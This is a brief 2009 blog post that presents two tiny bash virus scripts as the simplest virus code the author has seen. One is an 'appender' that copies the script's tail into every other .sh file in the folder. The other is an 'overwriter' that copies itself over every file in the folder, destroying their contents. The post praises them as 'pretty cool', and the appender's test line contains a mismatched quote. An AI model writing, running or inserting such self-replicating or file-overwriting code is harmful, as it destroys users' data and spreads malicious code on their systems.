Monday, August 10, 2009

vbash

Although not very spread (try Googling it), it holds the very principle of the virus algorithm technique. The most simple virus code I have ever seen...

(BASH scripting language)

Appender

for i in *.sh; do
if test ”./$i!=$0; then
tail -n 5 $0 | cat >> $i ;
fi
done


Overwritter

for file in *; do
cp $0 $file
done


Pretty cool!

0 comments: